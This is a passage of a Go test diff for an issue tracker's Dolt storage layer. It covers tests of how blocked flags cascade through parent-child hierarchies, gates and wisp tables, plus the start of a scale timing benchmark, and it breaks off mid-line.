addDependencyWithMeta(t, ctx, store, "pc3-gp", "pc3-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pc3-p", "pc3-gp", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pc3-c", "pc3-p", types.DepParentChild, "") + + // Close gate: GP2 blocks on P2, which is then made GP2's own child, and C2 + // hangs under P2. + addDependencyWithMeta(t, ctx, store, "pc3-gp2", "pc3-p2", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pc3-p2", "pc3-gp2", types.DepParentChild) + addDependencyWithMeta(t, ctx, store, "pc3-c2", "pc3-p2", types.DepParentChild, "") + + want := map[string]bool{ + "pc3-x": false, + "pc3-gp": true, + "pc3-p": true, + "pc3-c": true, + "pc3-gp2": true, // blocked on its own open child... + "pc3-p2": false, // ...which must not be darkened, + "pc3-c2": false, // ...nor anything under it. + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + // The full repair reaches the same fixpoint from a fully inverted plane, + // not just from the write path's answer: the chain is the case where the + // cascade needs more than one pass. + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_WaitsForGateOverOwnChildren pins the same contract for +// the waits-for leg, whose "reason" is a gate rather than a target status. +// +// A gate whose spawner is the parent's OWN child is child-derived and must not +// darken the parent's children; a gate on a spawner outside the hierarchy is +// exogenous and must. +func TestParentChildCascade_WaitsForGateOverOwnChildren(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{ + "pcw-p", "pcw-c1", "pcw-c2", "pcw-g", + "pcw-p2", "pcw-c3", "pcw-s", "pcw-sc", + } { + createPerm(t, ctx, store, id) + } + + // Own-child gate: P waits for C1, its own child. C1 has an open child of + // its own, so the all-children gate is live and P is blocked. + addDependencyWithMeta(t, ctx, store, "pcw-c1", "pcw-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-c2", "pcw-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-g", "pcw-c1", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-p", "pcw-c1", types.DepWaitsFor, "") + + // Outside gate: P2 waits for a spawner that is not in its hierarchy. + addDependencyWithMeta(t, ctx, store, "pcw-c3", "pcw-p2", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-sc", "pcw-s", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-p2", "pcw-s", types.DepWaitsFor, "") + + want := map[string]bool{ + "pcw-p": true, // its own child's fanout is still open + "pcw-c1": false, // but the gate is over C1 itself: no darkening + "pcw-c2": false, + "pcw-g": false, + "pcw-p2": true, // gate on an outside spawner: exogenous + "pcw-c3": true, // so the child inherits + "pcw-s": false, + "pcw-sc": false, + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) +} + +// horizonChain builds "P blocks on a descendant `levels` parent-child edges +// below it" and returns the chain ids, nearest child first. +// +// The order is the only order the store allows: the blocks edge goes in while +// the hierarchy does not exist yet, then the chain from the top down, and the +// LAST edge — the one that finally puts the blocked target inside P's subtree — +// needs SkipCycleCheck, because that is the edge that closes the loop. +func horizonChain(ctx context.Context, t *testing.T, store *DoltStore, prefix string, levels int) []string { + t.Helper() + chain := make([]string, 0, levels) + parent := prefix + "-p" + createPerm(t, ctx, store, parent) + for i := 1; i <= levels; i++ { + id := fmt.Sprintf("%s-d%d", prefix, i) + createPerm(t, ctx, store, id) + chain = append(chain, id) + } + + addDependencyWithMeta(t, ctx, store, parent, chain[levels-1], types.DepBlocks, "") + for i, id := range chain { + up := parent + if i > 0 { + up = chain[i-1] + } + if i == levels-1 { + addDepSkippingCycleCheck(ctx, t, store, id, up, types.DepParentChild) + continue + } + addDependencyWithMeta(t, ctx, store, id, up, types.DepParentChild, "") + } + return chain +} + +// TestParentChildCascade_ReasonAtTheWalkHorizon pins the deepest shape the +// exogeneity test actually decides: P blocks on a descendant exactly +// subtreeWalkDepth parent-child edges below it. The walk reaches P on its last +// level, so the reason reads as subtree-derived and nothing under P is +// darkened. +// +// Together with the past-horizon test below, this is the pin on the horizon +// itself: these two shapes differ by one edge and must land on opposite sides. +func TestParentChildCascade_ReasonAtTheWalkHorizon(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + // 4 = subtreeWalkDepth (internal/storage/issueops/blocked_consistency.go). + chain := horizonChain(ctx, t, store, "pch4", 4) + + want := map[string]bool{"pch4-p": true} + for _, id := range chain { + want[id] = false + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + // And from an inverted plane, which is the leg the fixpoint has to walk. + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_ReasonPastTheWalkHorizon is the PIN ON THE +// LIMITATION, not on the fix (gastownhall/beads#6506, fix round 2 / D2). +// +// The ancestor walk in parentsExplainedBySubtreeSQL is four levels deep +// (subtreeWalkDepth), spelled as four pairs of indexed LEFT JOINs because +// WITH RECURSIVE measured 7.5x per evaluation and blew the driver read timeout +// on the full repair. So a blocking reason whose target is FIVE parent-child +// edges below its blocker is out of the walk's reach and reads as EXOGENOUS. +// +// This test states exactly what that costs, so the limitation is a pinned +// behavior rather than a comment: the whole chain under P stays dark, which is +// the pre-#6506 behavior for this one shape. It therefore PASSES UNCHANGED ON +// origin/main — deliberately, and it is the assertion that makes "no new dark +// rows, no new visible rows past the horizon" checkable rather than argued. If +// someone raises the horizon, this test fails and names the row that changed. +// +// The direction matters and is the safe one: past the horizon the cascade +// propagates MORE than the contract asks, never less, so no work is hidden +// that the old code showed. What survives is the old permanent lock for a +// hierarchy deeper than epic -> sub-epic -> leg -> task between a blocker and +// the row it waits on. +func TestParentChildCascade_ReasonPastTheWalkHorizon(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + // 5 = subtreeWalkDepth + 1: one level past what the walk can see. + chain := horizonChain(ctx, t, store, "pch5", 5) + + // Every row in the chain stays blocked, P included: origin/main's answer. + want := map[string]bool{"pch5-p": true} + for _, id := range chain { + want[id] = true + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + // No NEW visible row either: nothing in the shape is ready work, which is + // what it means for the past-horizon answer to be unchanged. + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + for _, issue := range ready { + if _, ours := want[issue.ID]; ours { + t.Errorf("%s is ready work: past the walk horizon the cascade is unchanged from origin/main, where the whole chain is dark", issue.ID) + } + } + + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_IncrementalMatchesFullRepairAcrossEdits is the +// lockstep proof for the incremental seeding this fix changed +// (AffectedByDepChange{,ForWisp}InTx now walk UP from a parent-child edge's +// target to every reason-carrying ancestor and reseed each ancestor's whole +// sibling set, see appendSiblingsUnderAncestorsInTx). +// +// The property: after EVERY mutation, the flags the incremental write path +// left behind are exactly the flags a full repair computes from scratch — +// detection counts 0 and the repair changes 0 rows (assertConvergedAndStable). +// An under-seeded incremental path shows up here as a nonzero repair on a +// graph the write path just finished maintaining. +// +// The mutations are the ones that reclassify a blocking reason WITHOUT +// touching the row that carries it, which is where seeding is hard to get +// right: moving the reason's target INTO the blocker's subtree, closing and +// reopening it, moving it back OUT, and removing the reason. +// +// Note what is NOT here: adding a blocks edge straight onto an existing own +// descendant. The store refuses that outright (CheckBlockingHierarchyInTx, the +// refusal whose reason text this branch corrects), so the shape can only +// arrive the way it arrives in the wild — one edge at a time, or through +// import/merge — and the re-parent below is the one-edge-at-a-time arrival. +func TestParentChildCascade_IncrementalMatchesFullRepairAcrossEdits(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"ls-p", "ls-c", "ls-c2", "ls-g", "ls-out"} { + createPerm(t, ctx, store, id) + } + + step := func(name string, want map[string]bool) { + t.Helper() + assertBlockedFlags(ctx, t, store, name+" (write path)", want) + // The lockstep itself: detection sees nothing to fix and the full + // repair changes nothing. + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, name+" (after full repair)", want) + } + + // The starting graph: P blocks on G while G is OUTSIDE P's subtree, so the + // reason is exogenous and P's two children inherit it. G hangs under a + // root of its own. + addDependencyWithMeta(t, ctx, store, "ls-p", "ls-g", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "ls-c", "ls-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "ls-c2", "ls-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "ls-g", "ls-out", types.DepParentChild, "") + + exogenous := map[string]bool{ + "ls-p": true, "ls-c": true, "ls-c2": true, "ls-g": false, "ls-out": false, + } + subtreeDerived := map[string]bool{ + "ls-p": true, "ls-c": false, "ls-c2": false, "ls-g": false, "ls-out": false, + } + clear := map[string]bool{ + "ls-p": false, "ls-c": false, "ls-c2": false, "ls-g": false, "ls-out": false, + } + step("exogenous blocker outside the subtree", exogenous) + + // 1. Re-parent G INTO P's subtree, under C. The same blocks edge is now a + // close gate over P's own grandchild, so P keeps its flag and its whole + // subtree must come bright — including C and C2, which this edge does not + // name. SkipCycleCheck is the only way in: P blocks G, so pc G -> C closes + // a loop. + if err := store.RemoveDependency(ctx, "ls-g", "ls-out", "tester"); err != nil { + t.Fatalf("remove parent-child ls-g -> ls-out: %v", err) + } + addDepSkippingCycleCheck(ctx, t, store, "ls-g", "ls-c", types.DepParentChild) + step("reason re-parented into the subtree", subtreeDerived) + + // 2. Close the descendant: a closed target is no reason at all, so P comes + // bright with the edge still in place. Then reopen it. + if err := store.CloseIssue(ctx, "ls-g", "lockstep", "tester", ""); err != nil { + t.Fatalf("close ls-g: %v", err) + } + step("descendant closed", clear) + if err := store.ReopenIssue(ctx, "ls-g", "lockstep", "tester"); err != nil { + t.Fatalf("reopen ls-g: %v", err) + } + step("descendant reopened", subtreeDerived) + + // 3. Re-parent G back OUT. The reason turns exogenous again and P's + // cascade comes back on for C and C2. + if err := store.RemoveDependency(ctx, "ls-g", "ls-c", "tester"); err != nil { + t.Fatalf("remove parent-child ls-g -> ls-c: %v", err) + } + addDependencyWithMeta(t, ctx, store, "ls-g", "ls-out", types.DepParentChild, "") + step("reason re-parented out of the subtree", exogenous) + + // 4. Remove the reason itself: nothing anywhere carries one. + if err := store.RemoveDependency(ctx, "ls-p", "ls-g", "tester"); err != nil { + t.Fatalf("remove blocks ls-p -> ls-g: %v", err) + } + step("blocks edge removed", clear) +} + +// TestParentChildCascade_OwnGateUnderExogenousParent is the contract's +// recursive clause for a parent that carries a reason of its own (the #6602 +// review's mixed-arm repro). Q is blocked by an outside issue X, P hangs under +// Q, and P carries a close gate over its own child C. P's own reason is +// subtree-derived, but the epic above it is gated from outside, so P cascades +// and C stays dark: a close gate does not unlock the work under an epic that +// is itself blocked. +// +// Closing and reopening X then flips C without touching a row of the gate. +// Nothing about P changes, so only the seeding from X down the hierarchy can +// re-evaluate C. +func TestParentChildCascade_OwnGateUnderExogenousParent(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pcm-x", "pcm-q", "pcm-p", "pcm-c"} { + createPerm(t, ctx, store, id) + } + addDependencyWithMeta(t, ctx, store, "pcm-q", "pcm-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcm-p", "pcm-q", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcm-p", "pcm-c", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcm-c", "pcm-p", types.DepParentChild) + + step := func(name string, want map[string]bool) { + t.Helper() + assertBlockedFlags(ctx, t, store, name+" (write path)", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, name+" (after full repair)", want) + } + gated := map[string]bool{ + "pcm-x": false, + "pcm-q": true, // blocked from outside, + "pcm-p": true, // which P inherits on top of its own gate, + "pcm-c": true, // so the gate's own child stays dark. + } + step("own gate under an exogenously blocked parent", gated) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + for _, issue := range ready { + if issue.ID == "pcm-c" { + t.Error("pcm-c is ready work, but the epic above its parent is blocked from outside") + } + } + + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", gated) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } + + if err := store.CloseIssue(ctx, "pcm-x", "lockstep", "tester", ""); err != nil { + t.Fatalf("close pcm-x: %v", err) + } + step("outside blocker closed", map[string]bool{ + "pcm-x": false, + "pcm-q": false, + "pcm-p": true, // P still waits on C, + "pcm-c": false, // but nothing above P is blocked any more. + }) + if err := store.ReopenIssue(ctx, "pcm-x", "lockstep", "tester"); err != nil { + t.Fatalf("reopen pcm-x: %v", err) + } + step("outside blocker reopened", gated) +} + +// TestParentChildCascade_NestedGatesBothWays pins that the recursive clause +// reads the WHOLE chain above a parent, not one level of it. +// +// Exogenous root: R is blocked by an outside issue X. Q hangs under R and +// carries a close gate over its own child P, and P carries one over its own +// child C. Q's reason and P's are both subtree-derived, so asking only "is P's +// blocked parent explained?" finds Q explained and lets C through. But Q is +// explained by its own reasons alone while R above it is gated from outside: +// R cascades into Q, Q into P, and P into C. +// +// No exogenous root: the same two nested gates, Q2 over P2 and P2 over C2, +// with nothing blocked above Q2. Every blocked row is explained by its own +// subtree, so C2 stays bright. This is the control against pruning too much: +// a blocked parent above P2 is not enough to cascade, it has to be one that +// is not explained. +// +// Closing X then frees C three levels below the row whose flag changed, and +// reopening X darkens it again. +// +// Last, a write that re-evaluates the children alone: an outside blocker Y of +// their own closes. The close seeds only Y and the rows waiting on it, so the +// batch's read is asked about P2 and P and nothing above them, and the chain +// has to be read by id as the walk climbs: Q2 is explained, so C2 comes +// bright, and R is not, so C stays dark. +func TestParentChildCascade_NestedGatesBothWays(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{ + "pcn-x", "pcn-r", "pcn-q", "pcn-p", "pcn-c", + "pcn-q2", "pcn-p2", "pcn-c2", + } { + createPerm(t, ctx, store, id) + } + // The blocks edges go in while no hierarchy exists; each parent-child edge + // that puts a gate's target under its blocker closes a loop and needs + // SkipCycleCheck. + addDependencyWithMeta(t, ctx, store, "pcn-r", "pcn-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-q", "pcn-p", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-p", "pcn-c", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-q", "pcn-r", types.DepParentChild, "") + addDepSkippingCycleCheck(ctx, t, store, "pcn-p", "pcn-q", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pcn-c", "pcn-p", types.DepParentChild) + + addDependencyWithMeta(t, ctx, store, "pcn-q2", "pcn-p2", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-p2", "pcn-c2", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcn-p2", "pcn-q2", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pcn-c2", "pcn-p2", types.DepParentChild) + + step := func(name string, want map[string]bool) { + t.Helper() + assertBlockedFlags(ctx, t, store, name+" (write path)", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, name+" (after full repair)", want) + } + want := map[string]bool{ + "pcn-x": false, + "pcn-r": true, + "pcn-q": true, + "pcn-p": true, + "pcn-c": true, // two explained gates under an exogenous one + "pcn-q2": true, + "pcn-p2": true, + "pcn-c2": false, // two explained gates with nothing above them + } + step("nested gates", want) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + inReady := map[string]bool{} + for _, issue := range ready { + inReady[issue.ID] = true + } + if inReady["pcn-c"] { + t.Error("pcn-c is ready work, but R two gates above it is blocked from outside") + } + if !inReady["pcn-c2"] { + t.Error("pcn-c2 missing from ready work: every gate above it is explained by its own subtree") + } + + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } + + if err := store.CloseIssue(ctx, "pcn-x", "lockstep", "tester", ""); err != nil { + t.Fatalf("close pcn-x: %v", err) + } + freed := map[string]bool{} + for id, blocked := range want { + freed[id] = blocked + } + freed["pcn-r"] = false + freed["pcn-c"] = false + step("outside blocker closed", freed) + if err := store.ReopenIssue(ctx, "pcn-x", "lockstep", "tester"); err != nil { + t.Fatalf("reopen pcn-x: %v", err) + } + step("outside blocker reopened", want) + + createPerm(t, ctx, store, "pcn-y") + addDependencyWithMeta(t, ctx, store, "pcn-c2", "pcn-y", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-c", "pcn-y", types.DepBlocks, "") + want["pcn-y"] = false + want["pcn-c2"] = true // by Y, for now + step("a blocker of their own on both children", want) + if err := store.CloseIssue(ctx, "pcn-y", "done", "tester", ""); err != nil { + t.Fatalf("close pcn-y: %v", err) + } + want["pcn-c2"] = false + step("their own blocker closed", want) +} + +// TestParentChildCascade_WispGateUnderExogenousParent is the mixed arm on the +// wisp mirror, and across the two kinds: wisp P carries a close gate over its +// own wisp child C and hangs under a permanent epic Q that an outside issue X +// blocks. The edge up from P lives in wisp_dependencies and names Q in +// depends_on_issue_id, so the walk above P has to cross from the wisp tables +// to the issue tables to find what gates it. +// +// The second component crosses the other way, under the same X: permanent P2 +// carries a close gate over its own child C2 and hangs under a wisp epic Q2 +// that X blocks. The edge up from P2 lives in dependencies and names Q2 in +// depends_on_wisp_id. +// +// Last, a wisp gate that is explained: wisp Q3 gates its own child P3, which +// gates its own child C3, and nothing blocks Q3 from outside, so C3 is bright. +// Then C3's own outside blocker Y closes. The close seeds only Y and the rows +// waiting on it, so the batch's read is asked about P3 and nothing above it, +// and the walk has to read wisp Q3 by id to find it explained. +func TestParentChildCascade_WispGateUnderExogenousParent(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + createPerm(t, ctx, store, "pcwm-x") + createPerm(t, ctx, store, "pcwm-q") + createWisp(t, ctx, store, "pcwm-p") + createWisp(t, ctx, store, "pcwm-c") + addDependencyWithMeta(t, ctx, store, "pcwm-q", "pcwm-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p", "pcwm-q", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p", "pcwm-c", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcwm-c", "pcwm-p", types.DepParentChild) + + createWisp(t, ctx, store, "pcwm-q2") + createPerm(t, ctx, store, "pcwm-p2") + createPerm(t, ctx, store, "pcwm-c2") + addDependencyWithMeta(t, ctx, store, "pcwm-q2", "pcwm-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p2", "pcwm-q2", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p2", "pcwm-c2", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcwm-c2", "pcwm-p2", types.DepParentChild) + + // The rows live in two tables, so read both; the ids do not collide. + check := func(when string, want map[string]bool) { + t.Helper() + got := readIsBlockedFlags(t, ctx, store, "issues") + for id, blocked := range readIsBlockedFlags(t, ctx, store, "wisps") { + got[id] = blocked + } + for id, expected := range want { + if blocked, ok := got[id]; !ok { + t.Errorf("%s: %s not found in issues or wisps", when, id) + } else if blocked != expected { + t.Errorf("%s: %s is_blocked = %v, want %v", when, id, blocked, expected) + } + } + } + step := func(name string, want map[string]bool) { + t.Helper() + check(name+" (write path)", want) + assertConvergedAndStable(ctx, t, store) + check(name+" (after full repair)", want) + } + gated := map[string]bool{ + "pcwm-x": false, + "pcwm-q": true, "pcwm-p": true, "pcwm-c": true, + "pcwm-q2": true, "pcwm-p2": true, "pcwm-c2": true, + } + step("wisp gate under an exogenously blocked epic", gated) + + for _, table := range []string{"issues", "wisps"} { + if _, err := store.db.ExecContext(ctx, "UPDATE "+table+" SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert %s flags: %v", table, err) + } + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + check("after repairing an inverted plane", gated) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } + + if err := store.CloseIssue(ctx, "pcwm-x", "lockstep", "tester", ""); err != nil { + t.Fatalf("close pcwm-x: %v", err) + } + step("outside blocker closed", map[string]bool{ + "pcwm-x": false, + "pcwm-q": false, "pcwm-p": true, "pcwm-c": false, + "pcwm-q2": false, "pcwm-p2": true, "pcwm-c2": false, + }) + if err := store.ReopenIssue(ctx, "pcwm-x", "lockstep", "tester"); err != nil { + t.Fatalf("reopen pcwm-x: %v", err) + } + step("outside blocker reopened", gated) + + createWisp(t, ctx, store, "pcwm-q3") + createPerm(t, ctx, store, "pcwm-p3") + createPerm(t, ctx, store, "pcwm-c3") + addDependencyWithMeta(t, ctx, store, "pcwm-q3", "pcwm-p3", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p3", "pcwm-c3", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcwm-p3", "pcwm-q3", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pcwm-c3", "pcwm-p3", types.DepParentChild) + nested := map[string]bool{"pcwm-q3": true, "pcwm-p3": true, "pcwm-c3": false} + step("two explained gates under a wisp", nested) + + createPerm(t, ctx, store, "pcwm-y") + addDependencyWithMeta(t, ctx, store, "pcwm-c3", "pcwm-y", types.DepBlocks, "") + nested["pcwm-y"] = false + nested["pcwm-c3"] = true // by Y, for now + step("a blocker of its own on the grandchild", nested) + if err := store.CloseIssue(ctx, "pcwm-y", "done", "tester", ""); err != nil { + t.Fatalf("close pcwm-y: %v", err) + } + nested["pcwm-c3"] = false + step("its own blocker closed", nested) +} diff --git a/internal/storage/dolt/blocked_full_repair_test.go b/internal/storage/dolt/blocked_full_repair_test.go index a224179ba..b83e76008 100644 --- a/internal/storage/dolt/blocked_full_repair_test.go +++ b/internal/storage/dolt/blocked_full_repair_test.go @@ -17,7 +17,7 @@ package dolt // // What the differential half proves narrowed in gastownhall/beads#6291: both // sides — the ground-truth producer (batched templates) and the system under -// test (full repair) — now render from the one shouldBeBlockedIDsUnionSQL +// test (full repair) — now render from the one shouldBeBlockedIDsUnionCoreSQL // builder, so write-path-vs-full-repair agreement no longer cross-checks two // independently written SQL forms. It validates scope-splicing (the batched // legs' `AND d.issue_id IN (batch)`) and the waits-for DISTINCT barrier, which diff --git a/internal/storage/dolt/blocked_scale_bench_test.go b/internal/storage/dolt/blocked_scale_bench_test.go new file mode 100644 index 000000000..78e42ccba --- /dev/null +++ b/internal/storage/dolt/blocked_scale_bench_test.go @@ -0,0 +1,291 @@ +package dolt + +import ( + "context" + "fmt" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// Blocked-state cost at store scale (gastownhall/beads#6506, #6288). +// +// The timings below are the ones the parent-child cascade can regress, and the +// ones a change to shouldBeBlockedIDsUnionCoreSQL must be measured against +// BEFORE it ships: +// +// - RecomputeAllIsBlockedInTx — the full repair. It runs on every dolt +// pull/merge (versioncontrolops/blocked_recompute.go), on federation sync, +// and behind `bd doctor --fix`, so its cost is paid by every clone on +// every sync, not only by an operator running doctor. +// - CountIsBlockedInconsistenciesInTx — the read-only detection behind the +// doctor "Blocked State" check, over an ALREADY CONSISTENT store, which is +// the case an operator actually hits. +// - RecomputeIsBlockedForIDsInTx at 2, 20 and 200 ids — the batched +// mark/unmark the incremental write path runs, isolated from the dolt +// commit around it. 200 is queryBatchSize (the bulk/import shape); 2 is the +// small-batch floor where per-statement cost cannot be amortized. +// - CloseIssue x100 — the incremental write path end to end, which runs the +// same union scoped to a batch. +// +// The fixture matters as much as the numbers: the parent-child legs +// short-circuit on `p.is_blocked = 1`, so a plane with no blocked rows +// measures nothing at all. This one carries a realistic mix — exogenously +// blocked epics that really do cascade, close-gate epics that (since #6506) +// must not, one depth-2 gate over a grandchild, and a large population of +// ordinary leaf-to-leaf blocks edges. +// +// Skipped under -short. It is a measurement, not an assertion: it has no +// pass/fail threshold, because a threshold in wall-clock time on shared CI +// hardware is a flake. Run it on both sides of a change and compare: +// +// BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/ \ +// -run TestBlockedStateScaleTiming -count=1 -v +const ( + scaleEpics = 100 // bs-0000..bs-0099; 0..9 are roots, 10..99 hang under them + scaleIssues = 1000 + // Leaves bs-0100..bs-0699 carry blocks edges; bs-0700..bs-0999 are their + // targets, of which all but the last scaleOpenTargets are closed. + scaleFirstTarget = 700 + scaleOpenTargets = 60 + scaleEdgesPerLeaf = 3 + scaleClosesTimed = 100 + scaleBenchTimeout = 20 * time.Minute + scaleBenchIDFormat = "bs-%04d" +) + +func scaleID(n int) string { return fmt.Sprintf(scaleBenchIDFormat, n) } + +func TestBlockedStateScaleTiming(t *testing.T) { + if testing.Short() { + t.Skip("scale timing: skipped under -short") + } + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), scaleBenchTimeout) + defer cancel() + + built := time.Now() + deps := buildScaleFixture(ctx, t, store) + t.Logf("fixture: %d issues, %d dependency edges, built in %s", + scaleIssues, deps, time.Since(built).Round(time.Millisecond)) + + // Converge once, untimed: every timing below is over a CONSISTENT store, + // which is the state a real clone is in when doctor or a pull runs. + recomputeAllScale(ctx, t, store) + t.Logf("blocked rows: %d of %d issues", scaleBlockedCount(ctx, t, store), scaleIssues) + + start := time.Now() + n := scaleCountInconsistencies(ctx, t, store) + t.Logf("TIMING doctor-count %s (reported %d inconsistencies)", + time.Since(start).Round(time.Millisecond), n) + + start = time.Now() + changed := recomputeAllScale(ctx, t, store) + t.Logf("TIMING full-repair %s (changed %d rows)", + time.Since(start).Round(time.Millisecond), changed) + + // The write path's SQL on its own: the batched mark/unmark the incremental + // recompute runs, over a spread of ids, with no commit. CloseIssue below is + // the honest end-to-end number, but most of it is a dolt commit, which on a + // loaded box swings further than the thing being measured. + // + // THREE batch sizes, because the batched path's cost per statement and its + // cost per id pull in opposite directions and one size hides the other. 200 + // is queryBatchSize — one statement pair, the bulk/import shape an + // AffectedBy* fan-out reaches. 20 is an ordinary epic-sized fan-out. 2 is + // the floor: the per-STATEMENT overhead (a scoped exogeneity read, the + // union built once) with almost no ids to amortize it over, which is where + // a fixed per-statement cost shows up worst. + for _, bs := range []struct { + size, reps int + }{{2, 50}, {20, 20}, {200, 5}} { + batchIDs := make([]string, 0, bs.size) + for i := 0; i < bs.size; i++ { + batchIDs = append(batchIDs, scaleID((i*5)%scaleIssues)) + } + txb, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin batched-recompute tx: %v", err) + } + start = time.Now() + for k := 0; k < bs.reps; k++ { + if err := issueops.RecomputeIsBlockedForIDsInTx(ctx, txb, batchIDs); err != nil { + _ = txb.Rollback() + t.Fatalf("RecomputeIsBlockedForIDsInTx(%d ids): 